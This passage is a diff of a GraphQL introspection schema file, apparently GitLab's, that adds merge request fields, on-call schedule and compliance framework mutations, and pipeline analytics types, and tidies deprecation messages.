+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "CommitConnection",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "conflicts",
"description": "Indicates if the merge request has conflicts",
"args": [
@@ -33791,6 +36329,20 @@
"deprecationReason": null
},
{
+ "name": "defaultMergeCommitMessageWithDescription",
+ "description": "Default merge commit message of the merge request with description",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "description",
"description": "Description of the merge request (Markdown rendered as HTML for caching)",
"args": [
@@ -33999,6 +36551,24 @@
"deprecationReason": null
},
{
+ "name": "hasCi",
+ "description": "Indicates if the merge request has CI",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "headPipeline",
"description": "The pipeline running on the branch HEAD of the merge request",
"args": [
@@ -34176,6 +36746,20 @@
"deprecationReason": null
},
{
+ "name": "mergeTrainsCount",
+ "description": "",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "mergeWhenPipelineSucceeds",
"description": "Indicates if the merge has been set to be merged when its pipeline succeeds (MWPS)",
"args": [
@@ -34190,6 +36774,24 @@
"deprecationReason": null
},
{
+ "name": "mergeable",
+ "description": "Indicates if the merge request is mergeable",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "mergeableDiscussionsState",
"description": "Indicates if all discussions in the merge request have been resolved, allowing the merge request to be merged",
"args": [
@@ -34343,7 +36945,7 @@
},
{
"name": "pipelines",
- "description": "Pipelines for the merge request",
+ "description": "Pipelines for the merge request. Note: for performance reasons, no more than the most recent 500 pipelines will be returned.",
"args": [
{
"name": "status",
@@ -34520,6 +37122,20 @@
"deprecationReason": null
},
{
+ "name": "securityAutoFix",
+ "description": "Indicates if the merge request is created by @GitLab-Security-Bot.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "shouldBeRebased",
"description": "Indicates if the merge request will be rebased",
"args": [
@@ -34588,6 +37204,24 @@
"deprecationReason": null
},
{
+ "name": "sourceBranchProtected",
+ "description": "Indicates if the source branch is protected",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "sourceProject",
"description": "Source project of the merge request",
"args": [
@@ -34616,6 +37250,24 @@
"deprecationReason": null
},
{
+ "name": "squashOnMerge",
+ "description": "Indicates if squash on merge is enabled",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "state",
"description": "State of the merge request",
"args": [
@@ -35016,6 +37668,20 @@
},
"isDeprecated": false,
"deprecationReason": null
+ },
+ {
+ "name": "totalTimeToMerge",
+ "description": "Total sum of time to merge, in seconds, for the collection of merge requests",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "Float",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
}
],
"inputFields": null,
@@ -35694,7 +38360,7 @@
},
{
"name": "iid",
- "description": "The iid of the merge request to mutate",
+ "description": "The IID of the merge request to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -35842,7 +38508,7 @@
},
{
"name": "iid",
- "description": "The iid of the merge request to mutate",
+ "description": "The IID of the merge request to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -35990,7 +38656,7 @@
},
{
"name": "iid",
- "description": "The iid of the merge request to mutate",
+ "description": "The IID of the merge request to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -36120,7 +38786,7 @@
},
{
"name": "iid",
- "description": "The iid of the merge request to mutate",
+ "description": "The IID of the merge request to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -36246,7 +38912,7 @@
},
{
"name": "iid",
- "description": "The iid of the merge request to mutate",
+ "description": "The IID of the merge request to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -36376,7 +39042,7 @@
},
{
"name": "iid",
- "description": "The iid of the merge request to mutate",
+ "description": "The IID of the merge request to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -36496,25 +39162,25 @@
"name": "updated_desc",
"description": "Updated at descending order",
"isDeprecated": true,
- "deprecationReason": "Use UPDATED_DESC. Deprecated in 13.5"
+ "deprecationReason": "Use UPDATED_DESC. Deprecated in 13.5."
},
{
"name": "updated_asc",
"description": "Updated at ascending order",
"isDeprecated": true,
- "deprecationReason": "Use UPDATED_ASC. Deprecated in 13.5"
+ "deprecationReason": "Use UPDATED_ASC. Deprecated in 13.5."
},
{
"name": "created_desc",
"description": "Created at descending order",
"isDeprecated": true,
- "deprecationReason": "Use CREATED_DESC. Deprecated in 13.5"
+ "deprecationReason": "Use CREATED_DESC. Deprecated in 13.5."
},
{
"name": "created_asc",
"description": "Created at ascending order",
"isDeprecated": true,
- "deprecationReason": "Use CREATED_ASC. Deprecated in 13.5"
+ "deprecationReason": "Use CREATED_ASC. Deprecated in 13.5."
},
{
"name": "UPDATED_DESC",
@@ -36654,7 +39320,7 @@
},
{
"name": "iid",
- "description": "The iid of the merge request to mutate",
+ "description": "The IID of the merge request to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -36829,6 +39495,101 @@
},
{
"kind": "OBJECT",
+ "name": "MetricImage",
+ "description": "Represents a metric image upload",
+ "fields": [
+ {
+ "name": "fileName",
+ "description": "File name of the metric image",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "filePath",
+ "description": "File path of the metric image",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "id",
+ "description": "ID of the metric upload",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "iid",
+ "description": "Internal ID of the metric upload",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "url",
+ "description": "URL of the metric source",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
"name": "MetricsDashboard",
"description": null,
"fields": [
@@ -37650,7 +40411,7 @@
"ofType": null
},
"isDeprecated": true,
- "deprecationReason": "Use awardEmojiAdd. Deprecated in 13.2"
+ "deprecationReason": "Use awardEmojiAdd. Deprecated in 13.2."
},
{
"name": "addProjectToSecurityDashboard",
@@ -38166,8 +40927,35 @@
"deprecationReason": null
},
{
+ "name": "createComplianceFramework",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "CreateComplianceFrameworkInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "CreateComplianceFrameworkPayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "createCustomEmoji",
- "description": ". Available only when feature flag `custom_emoji` is enabled",
+ "description": " Available only when feature flag `custom_emoji` is enabled.",
"args": [
{
"name": "input",
@@ -38193,6 +40981,33 @@
"deprecationReason": null
},
{
+ "name": "createDevopsAdoptionSegment",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "CreateDevopsAdoptionSegmentInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "CreateDevopsAdoptionSegmentPayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "createDiffNote",
"description": null,
"args": [
@@ -38706,6 +41521,33 @@
"deprecationReason": null
},
{
+ "name": "deleteDevopsAdoptionSegment",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "DeleteDevopsAdoptionSegmentInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "DeleteDevopsAdoptionSegmentPayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "designManagementDelete",
"description": null,
"args": [
@@ -38841,6 +41683,33 @@
"deprecationReason": null
},
{
+ "name": "destroyComplianceFramework",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "DestroyComplianceFrameworkInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "DestroyComplianceFrameworkPayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "destroyContainerRepository",
"description": null,
"args": [
@@ -38868,6 +41737,33 @@
"deprecationReason": null
},
{
+ "name": "destroyContainerRepositoryTags",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "DestroyContainerRepositoryTagsInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "DestroyContainerRepositoryTagsPayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "destroyNote",
"description": null,
"args": [
@@ -38973,7 +41869,7 @@
"ofType": null
},
"isDeprecated": true,
- "deprecationReason": "Use vulnerabilityDismiss. Deprecated in 13.5"
+ "deprecationReason": "Use vulnerabilityDismiss. Deprecated in 13.5."
},
{
"name": "environmentsCanaryIngressUpdate",
@@ -39840,6 +42736,87 @@
"deprecationReason": null
},
{
+ "name": "oncallScheduleCreate",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "OncallScheduleCreateInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "OncallScheduleCreatePayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "oncallScheduleDestroy",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "OncallScheduleDestroyInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "OncallScheduleDestroyPayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "oncallScheduleUpdate",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "OncallScheduleUpdateInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "OncallScheduleUpdatePayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "pipelineCancel",
"description": null,
"args": [
@@ -40056,6 +43033,60 @@
"deprecationReason": null
},
{
+ "name": "releaseDelete",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "ReleaseDeleteInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "ReleaseDeletePayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "releaseUpdate",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "ReleaseUpdateInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "ReleaseUpdatePayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "removeAwardEmoji",
"description": null,
"args": [
@@ -40080,7 +43111,7 @@
"ofType": null
},
"isDeprecated": true,
- "deprecationReason": "Use awardEmojiRemove. Deprecated in 13.2"
+ "deprecationReason": "Use awardEmojiRemove. Deprecated in 13.2."
},
{
"name": "removeProjectFromSecurityDashboard",
@@ -40161,7 +43192,7 @@
"ofType": null
},
"isDeprecated": true,
- "deprecationReason": "Use vulnerabilityRevertToDetected. Deprecated in 13.5"
+ "deprecationReason": "Use vulnerabilityRevertToDetected. Deprecated in 13.5."
},
{
"name": "runDastScan",
@@ -40188,7 +43219,7 @@
"ofType": null
},
"isDeprecated": true,
- "deprecationReason": "Use DastOnDemandScanCreate. Deprecated in 13.4"
+ "deprecationReason": "Use DastOnDemandScanCreate. Deprecated in 13.4."
},
{
"name": "terraformStateDelete",
@@ -40431,7 +43462,7 @@
"ofType": null
},
"isDeprecated": true,
- "deprecationReason": "Use awardEmojiToggle. Deprecated in 13.2"
+ "deprecationReason": "Use awardEmojiToggle. Deprecated in 13.2."
},
{
"name": "updateAlertStatus",
@@ -40542,6 +43573,33 @@
"deprecationReason": null
},
{
+ "name": "updateComplianceFramework",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "UpdateComplianceFrameworkInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "UpdateComplianceFrameworkPayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "updateContainerExpirationPolicy",
"description": null,
"args": [
@@ -40569,6 +43627,33 @@
"deprecationReason": null
},
{
+ "name": "updateDevopsAdoptionSegment",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "UpdateDevopsAdoptionSegmentInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "UpdateDevopsAdoptionSegmentPayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "updateEpic",
"description": null,
"args": [
@@ -40812,6 +43897,60 @@
"deprecationReason": null
},
{
+ "name": "vulnerabilityExternalIssueLinkCreate",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "VulnerabilityExternalIssueLinkCreateInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "VulnerabilityExternalIssueLinkCreatePayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "vulnerabilityExternalIssueLinkDestroy",
+ "description": null,
+ "args": [
+ {
+ "name": "input",
+ "description": null,
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "INPUT_OBJECT",
+ "name": "VulnerabilityExternalIssueLinkDestroyInput",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "VulnerabilityExternalIssueLinkDestroyPayload",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "vulnerabilityResolve",
"description": null,
"args": [
@@ -40936,6 +44075,59 @@
"deprecationReason": null
},
{
+ "name": "complianceFrameworks",
+ "description": "Compliance frameworks available to projects in this namespace Available only when feature flag `ff_custom_compliance_frameworks` is enabled.",
+ "args": [
+ {
+ "name": "after",
+ "description": "Returns the elements in the list that come after the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "before",
+ "description": "Returns the elements in the list that come before the specified cursor.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "first",
+ "description": "Returns the first _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "last",
+ "description": "Returns the last _n_ elements from the list.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "ComplianceFrameworkConnection",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "containsLockedProjects",
"description": "Includes at least one project where the repository size exceeds the limit",
"args": [
@@ -41454,7 +44646,7 @@
"inputFields": [
{
"name": "id",
- "description": "The global id of the namespace to mutate",
+ "description": "The global ID of the namespace to mutate",
"type": {
"kind": "NON_NULL",
"name": null,
@@ -42396,6 +45588,408 @@
"possibleTypes": null
},
{
+ "kind": "INPUT_OBJECT",
+ "name": "OncallScheduleCreateInput",
+ "description": "Autogenerated input type of OncallScheduleCreate",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "projectPath",
+ "description": "The project to create the on-call schedule in",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "name",
+ "description": "The name of the on-call schedule",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "description",
+ "description": "The description of the on-call schedule",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "timezone",
+ "description": "The timezone of the on-call schedule",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "OncallScheduleCreatePayload",
+ "description": "Autogenerated return type of OncallScheduleCreate",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "oncallSchedule",
+ "description": "The on-call schedule",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "IncidentManagementOncallSchedule",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INPUT_OBJECT",
+ "name": "OncallScheduleDestroyInput",
+ "description": "Autogenerated input type of OncallScheduleDestroy",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "projectPath",
+ "description": "The project to remove the on-call schedule from",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "iid",
+ "description": "The on-call schedule internal ID to remove",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "OncallScheduleDestroyPayload",
+ "description": "Autogenerated return type of OncallScheduleDestroy",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "oncallSchedule",
+ "description": "The on-call schedule",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "IncidentManagementOncallSchedule",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "INPUT_OBJECT",
+ "name": "OncallScheduleUpdateInput",
+ "description": "Autogenerated input type of OncallScheduleUpdate",
+ "fields": null,
+ "inputFields": [
+ {
+ "name": "projectPath",
+ "description": "The project to update the on-call schedule in",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "ID",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "iid",
+ "description": "The on-call schedule internal ID to update",
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "name",
+ "description": "The name of the on-call schedule",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "description",
+ "description": "The description of the on-call schedule",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "timezone",
+ "description": "The timezone of the on-call schedule",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ },
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "defaultValue": null
+ }
+ ],
+ "interfaces": null,
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
+ "kind": "OBJECT",
+ "name": "OncallScheduleUpdatePayload",
+ "description": "Autogenerated return type of OncallScheduleUpdate",
+ "fields": [
+ {
+ "name": "clientMutationId",
+ "description": "A unique identifier for the client performing the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "errors",
+ "description": "Errors encountered during execution of the mutation.",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "oncallSchedule",
+ "description": "The on-call schedule",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "OBJECT",
+ "name": "IncidentManagementOncallSchedule",
+ "ofType": null
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ }
+ ],
+ "inputFields": null,
+ "interfaces": [
+
+ ],
+ "enumValues": null,
+ "possibleTypes": null
+ },
+ {
"kind": "OBJECT",
"name": "Package",
"description": "Represents a package",
@@ -43017,6 +46611,24 @@
"description": null,
"fields": [
{
+ "name": "active",
+ "description": "Indicates if the pipeline is active",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Boolean",
+ "ofType": null
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
"name": "beforeSha",
"description": "Base SHA of the source branch",
"args": [
@@ -43564,6 +47176,261 @@
"possibleTypes": null
},
{
+ "kind": "OBJECT",
+ "name": "PipelineAnalytics",
+ "description": null,
+ "fields": [
+ {
+ "name": "monthPipelinesLabels",
+ "description": "Labels for the monthly pipeline count",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "monthPipelinesSuccessful",
+ "description": "Total monthly successful pipeline count",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "monthPipelinesTotals",
+ "description": "Total monthly pipeline count",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "Int",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "pipelineTimesLabels",
+ "description": "Pipeline times labels",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
+ "kind": "SCALAR",
+ "name": "String",
+ "ofType": null
+ }
+ }
+ },
+ "isDeprecated": false,
+ "deprecationReason": null
+ },
+ {
+ "name": "pipelineTimesValues",
+ "description": "Pipeline times",
+ "args": [
+
+ ],
+ "type": {
+ "kind": "LIST",
+ "name": null,
+ "ofType": {
+ "kind": "NON_NULL",
+ "name": null,
+ "ofType": {
